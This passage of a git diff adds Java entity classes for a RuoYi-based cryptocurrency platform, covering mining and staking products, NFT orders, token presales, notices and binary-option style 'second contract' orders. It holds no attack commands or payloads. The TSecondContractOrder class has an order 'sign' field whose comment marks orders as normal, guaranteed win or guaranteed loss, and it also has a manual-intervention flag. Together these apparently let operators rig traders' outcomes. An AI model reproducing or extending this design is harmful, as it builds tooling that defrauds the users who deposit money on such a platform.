java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_financial + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_financial") +public class TMineFinancial extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 图标 + */ + private String icon; + /** + * 启用禁用(展示在前端)1开0关 + */ + private Long status; + /** + * 天数(如 7,10,30) + */ + private String days; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 最小日利率百分比 + */ + private BigDecimal minOdds; + /** + * 最大日利率百分比 + */ + private BigDecimal maxOdds; + /** + * 每人限购次数,0表示不限 + */ + private Long timeLimit; + /** + * 最小金额 + */ + private BigDecimal limitMin; + /** + * 最大金额 + */ + private BigDecimal limitMax; + /** + * 是否热销1是0否 + */ + private Long isHot; + /** + * 排序 + */ + private Long sort; + /** + * 购买次数 + */ + private Long buyPurchase; + /** + * 日平均利率 + */ + private BigDecimal avgRate; + /** + * 币种 + */ + private String coin; + /** + * 分类(0 普通 1 vip 2 增值) + */ + private String classify; + /** + * 平台基础投资金额 + */ + private BigDecimal basicInvestAmount; + /** + * 平台总投资额 + */ + private BigDecimal totalInvestAmount; + /** + * VIP等级 + */ + private Long level; + /** + * 项目进度 + */ + private BigDecimal process; + /** + * 剩余金额 + */ + private BigDecimal remainAmount; + /** + * 已购金额 + */ + private BigDecimal purchasedAmount; + /** + * 常见问题 + */ + private String problem; + /** + * 产品介绍 + */ + private String prodectIntroduction; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java new file mode 100644 index 0000000..4bf6aed --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java @@ -0,0 +1,125 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_order + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_order") +public class TMineOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 地址 + */ + private String adress; + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 投资期限(天) + */ + private Long days; + /** + * 0 收益 1 结算 2 赎回 + */ + private Long status; + /** + * 项目id + */ + private Long planId; + /** + * 项目名称 + */ + private String planTitle; + /** + * 订单编号 + */ + private String orderNo; + /** + * 到期时间 + */ + private Date endTime; + /** + * 结算时间 + */ + private Date settleTime; + /** + * 累计收益 + */ + private BigDecimal accumulaEarn; + /** + * 最小利率 + */ + private BigDecimal minOdds; + /** + * 最大利率 + */ + private BigDecimal maxOdds; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 后台用户id + */ + private String adminUserIds; + /** + * 币种 + */ + private String coin; + /** + * 币种 + */ + private BigDecimal avgRate; + /** + * 0 质押挖矿 1 非质押挖矿 + */ + private Long type; + /** + * $column.columnComment + */ + private String collectionOrder; + /** + * $column.columnComment + */ + private Long userId; + /** + * $column.columnComment + */ + private BigDecimal orderAmount; + + //业务字段 + /** + * 结算类型 1 指定天数 2 每日 3 产品到期结算 + */ + @TableField(exist = false) + private Integer settlementType; + /** + * 结算日期 1-31 + */ + @TableField(exist = false) + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java new file mode 100644 index 0000000..5c2d054 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_order_day + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_order_day") +public class TMineOrderDay extends BaseEntity { + +private static final long serialVersionUID=1L; + + @TableId(value = "id",type = IdType.AUTO) + private Long id; + + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 当日利率 + */ + private BigDecimal odds; + /** + * 收益 + */ + private BigDecimal earn; + /** + * 项目id + */ + private Long planId; + /** + * 订单编号 + */ + private String orderNo; + /** + * 地址 + */ + private String address; + /** + * 0 质押挖矿 1 非质押挖矿 + */ + private Long type; + /** + * 1 待结算 2 结算 + */ + private Integer status; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java new file mode 100644 index 0000000..634c79b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java @@ -0,0 +1,38 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_mine_user + * + * @author ruoyi + * @date 2023-07-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_mine_user") +public class TMineUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 用户id + */ + private Long userId; + /** + * 挖矿产品id + */ + private Long id; + /** + * 限购次数 + */ + private Long timeLimit; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java new file mode 100644 index 0000000..1eec39f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * ming对象 t_ming_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@TableName("t_ming_order") +public class TMingOrder { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 投资期限(天) + */ + private Integer days; + /** + * 0 收益 1 结算 3 赎回 + */ + private Integer status; + /** + * 项目id + */ + private Long planId; + /** + * 项目名称 + */ + private String planTitle; + /** + * 订单编号 + */ + private String orderNo; + /** + * 到期时间 + */ + private Date endTime; + /** + * 结算时间 + */ + private Date settleTime; + /** + * 累计收益 + */ + private BigDecimal accumulaEarn; + /** + * 最小利率 + */ + private BigDecimal minOdds; + /** + * 最大利率 + */ + private BigDecimal maxOdds; + /** + * 后台用户id + */ + private String adminUserIds; + /** + * $column.columnComment + */ + private String collectionOrder; + /** + * $column.columnComment + */ + private Long userId; + /** + * $column.columnComment + */ + private BigDecimal orderAmount; + + @TableField(exist = false) + private Integer settlementType; + /** + * 结算日期 1-31 + */ + @TableField(exist = false) + private Integer settlementDay; + + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + + @TableField(exist=false) + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java new file mode 100644 index 0000000..662f4ab --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java @@ -0,0 +1,116 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Map; + +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedBy; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * mingProduct对象 t_ming_product + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@TableName("t_ming_product") +public class TMingProduct { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 图标 + */ + private String icon; + /** + * 启用禁用(展示在前端)1开0关 + */ + private Long status; + /** + * 天数(如 7,10,30) + */ + private String days; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 最小日利率百分比 + */ + private BigDecimal minOdds; + /** + * 最大日利率百分比 + */ + private BigDecimal maxOdds; + /** + * 每人限购次数,0表示不限 + */ + private Long timeLimit; + /** + * 最小金额 + */ + private BigDecimal limitMin; + /** + * 最大金额 + */ + private BigDecimal limitMax; + /** + * 排序 + */ + private Long sort; + /** + * 购买次数 + */ + private Long buyPurchase; + /** + * 币种 + */ + private String coin; + + @CreatedBy + @TableField(fill = FieldFill.INSERT) + private String createBy; + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedBy + @TableField(fill = FieldFill.UPDATE) + private String updateBy; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + /** 备注 */ + private String remark; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java new file mode 100644 index 0000000..2c24a3e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户购买质押限制对象 t_ming_product_user + * + * @author ruoyi + * @date 2023-10-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_ming_product_user") +public class TMingProductUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 产品id + */ + private Long productId; + /** + * 玩家用户id + */ + private Long appUserId; + /** + * 限购次数 + */ + private Long pledgeNum; + /** + * + */ + private String searchValue; + + @TableField(exist = false) + private TAppUser tAppUser; + + @TableField(exist = false) + private String coin; + + @TableField(exist = false) + private String icon; + + @TableField(exist = false) + private String title; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java new file mode 100644 index 0000000..8347cca --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft订单对象 t_nft_order + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_order") +public class TNftOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 集合id + */ + private Long seriesId; + /** + * 藏品id + */ + private Long productId; + /** + * 用户id + */ + private Long userId; + /** + * 金额 + */ + private BigDecimal amount; + /** + * 0报价 1成交 2失效 + */ + private String status; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java new file mode 100644 index 0000000..b346f95 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java @@ -0,0 +1,95 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft详情对象 t_nft_product + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_product") +public class TNftProduct extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合集id + */ + private Long seriesId; + /** + * 图片路径 + */ + private String imgUrl; + /** + * 所属id + */ + private Long userId; + /** + * 价格 + */ + private BigDecimal price; + /** + * 所属链 -btc -eth -doge + */ + private String chainType; + /** + * 作者 + */ + private String author; + /** + * 持有者地址 + */ + private String holdAddress; + /** + * 手续费 + */ + private BigDecimal handlingFee; + /** + * 版权费 + */ + private BigDecimal copyrightFee; + /** + * 描述 + */ + private String des; + /** + * 商品状态 1=未上架 2=已上架 + */ + private Integer status; + /** + * 销售状态 0=待审核 1=待售 2=持有 + */ + private String saleStatus; + /** + * 上架结束日期 + */ + private Date endDate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java new file mode 100644 index 0000000..9903600 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft合计对象 t_nft_series + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_series") +public class TNftSeries extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 名称 + */ + private String name; + /** + * 所属链 -btc -eth -doge 等等 + */ + private String chainType; + /** + * 所属链图标 + */ + private String coinUrl; + /** + * 交易总价格 + */ + private BigDecimal tradeAmount; + /** + * 交易次数 + */ + private Long tradeNum; + /** + * 地板价格 + */ + private BigDecimal aveAmount; + /** + * 封面 + */ + private String logoUrl; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java new file mode 100644 index 0000000..a4788a1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java @@ -0,0 +1,105 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 通知公告对象 t_notice + * + * @author ruoyi + * @date 2023-07-20 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_notice") +public class TNotice extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 公告ID + */ + @TableId(value = "notice_id",type = IdType.AUTO) + private Long noticeId; + /** + * 标题 + */ + private String noticeTitle; + /** + * 公告类型 1=公告信息 2=活动公告 3=首页滚动公告 + */ + private String noticeType; + /** + * 模块类型 1=公告信息 2=活动公告 3=首页滚动公告 + 1={1=链接弹窗 2=图文弹窗}, + 2={1=首页轮播活动 2=Defi挖矿活动图}, + 3={1=首页滚动公告} + 注:没有二级的默认给1 + 二级联动 + */ + private String modelType; + /** + * 内容 + */ + private String noticeContent; + /** + * 评论数 + */ + private Long commentsNum; + /** + * 图片 + */ + private String cover; + /** + * 浏览数 + */ + private Long viewNum; + /** + * 公告截止时间 + */ + private Date expireTime; + /** + * 图片链接地址 + */ + private String imgUrl; + /** + * 链接地址 + */ + private String chainedUrl; + /** + * 详情页 + */ + private String detailUrl; + /** + * zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13 + */ + private String languageId; + /** + * 公告状态(0正常 1关闭) + */ + private String status; + /** + * 排序 + */ + private Long sort; + /** + * 展示端1=pc 2=h5 + */ + private String source; + + + @TableField(exist = false) + private String key; + + @TableField(exist = false) + private String modelKey; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java new file mode 100644 index 0000000..7ebd9ba --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java @@ -0,0 +1,54 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 前台文本配置对象 t_option_rules + * + * @author ruoyi + * @date 2023-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_option_rules") +public class TOptionRules extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 语言 en zh + */ + private String language; + /** + * 内容 + */ + private String content; + /** + * 是否展示 0展示 2不展示 + */ + private Long isShow; + /** + * 0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则 + */ + private Integer type; + + @TableField(exist = false) + private String key; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java new file mode 100644 index 0000000..3ea3638 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 发币对象 t_own_coin + * + * @author ruoyi + * @date 2023-09-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin") +public class TOwnCoin extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + /** + * 总发行量 + */ + private BigDecimal totalAmount; + /** + * 私募发行量 + */ + private BigDecimal raisingAmount; + /** + * 已筹集额度 + */ + private BigDecimal raisedAmount; + /** + * 预购上限 + */ + private Integer purchaseLimit; + /** + * 参与人数 + */ + private Long participantsNum; + /** + * 筹集期限 + */ + private Long raisingTime; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + /** + * 1.筹备中 2.进行中 3 筹集成功 4.筹集失败 + */ + private Integer status; + /** + * 介绍 + */ + private String introduce; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java new file mode 100644 index 0000000..69c738c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 申购订单对象 t_own_coin_order + * + * @author ruoyi + * @date 2023-09-20 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin_order") +public class TOwnCoinOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + private Long userId; + /** + * 订单ID + */ + private String orderId; + /** + * 申购币种ID + */ + private Long ownId; + /** + * 申购币种 + */ + private String ownCoin; + /** + * 申购额(usdt) + */ + private BigDecimal amount; + /** + * 申购数量 + */ + private Long number; + /** + * 申购价 + */ + private BigDecimal price; + /** + * 状态 + */ + private String status; + /** + * 上级用户IDS + */ + private String adminUserIds; + /** + * 上级后台用户IDS + */ + private String adminParentIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java new file mode 100644 index 0000000..c123147 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * 订阅订单对象 t_own_coin_subscribe_order + * + * @Author ruoyi + * @Date 2023/10/9 + * @Version 1.0 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin_subscribe_order") +public class TOwnCoinSubscribeOrder extends BaseEntity { + + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id", type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + private Long userId; + /** + * 订阅ID + */ + private String subscribeId; + /** + * 订单ID + */ + private String orderId; + /** + * 申购币种ID + */ + private Long ownId; + /** + * 申购币种 + */ + private String ownCoin; + /** + * 申购额(usdt) + */ + private BigDecimal amountLimit; + /** + * 申购数量 + */ + private Long numLimit; + /** + * 申购单价 + */ + private BigDecimal price; + /** + * 状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + */ + private String status; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java new file mode 100644 index 0000000..7831fc3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java @@ -0,0 +1,85 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; + + +import com.ruoyi.common.core.domain.BaseEntity; + +import java.math.BigDecimal; + +/** + * 秒合约币种配置对象 t_second_coin_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_coin_config") +public class TSecondCoinConfig extends BaseEntity { + + private static final long serialVersionUID=1L; + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合约交易对 + */ + private String symbol; + /** + * 合约交易所 + */ + private String market; + /** + * 是否启用 2关闭 1启用 + */ + private Long status; + /** + * 是否展示 2不展示 1展示 + */ + private Long showFlag; + + + /** + * 币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + + /** + * 排序 + */ + private Long sort; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 图标 + */ + private String logo; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 1 外汇 2 虚拟币 3 黄精白银 + */ + private Integer type; + + + /** + * 周期复制币种ID + */ + @TableField(exist = false) + private Long periodId; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java new file mode 100644 index 0000000..68409dc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java @@ -0,0 +1,128 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 秒合约订单对象 t_second_contract_order + * + * @author ruoyi + * @date 2023-07-13 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_contract_order") +public class TSecondContractOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 订单号 + */ + private String orderNo; + /** + * 交易对 + */ + private String symbol; + /** + * 类型 + */ + private Integer type; + /** + * 用户id + */ + private Long userId; + /** + * 用户地址 + */ + private String userAddress; + /** + * 预测方向:1 涨 0 跌 + */ + private String betContent; + /** + * 开奖结果 + */ + private String openResult; + /** + * 订单状态 0参与中 1已开奖 2已撤销 + */ + private Integer status; + /** + * 投注金额 + */ + private BigDecimal betAmount; + /** + * 获奖金额 + */ + private BigDecimal rewardAmount; + /** + * 赔偿金额 + */ + private BigDecimal compensationAmount; + /** + * 开盘价格 + */ + private BigDecimal openPrice; + /** + * 关盘价格 + */ + private BigDecimal closePrice; + /** + * 开盘时间 + */ + private Long openTime; + /** + * 关盘时间 + */ + private Long closeTime; + /** + * 交易币符号 + */ + private String coinSymbol; + /** + * 结算币符号 + */ + private String baseSymbol; + /** + * 订单标记 0正常 1包赢 2包输 + */ + private Integer sign; + /** + * 是否人工干预 0是 1否 + */ + private Integer manualIntervention; + /** + * 赔率 + */ + private BigDecimal rate; + /** + * 赔率标识 + */ + private Boolean rateFlag; + /** + * 代理IDS + */ + + private String adminParentIds; + + + //业务字段 + @TableField(exist = false) + private Integer time; + + @TableField(exist = false) + private Long periodId; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java new file mode 100644 index 0000000..02614fd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 秒合约币种周期配置对象 t_second_period_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_period_config") +public class TSecondPeriodConfig extends 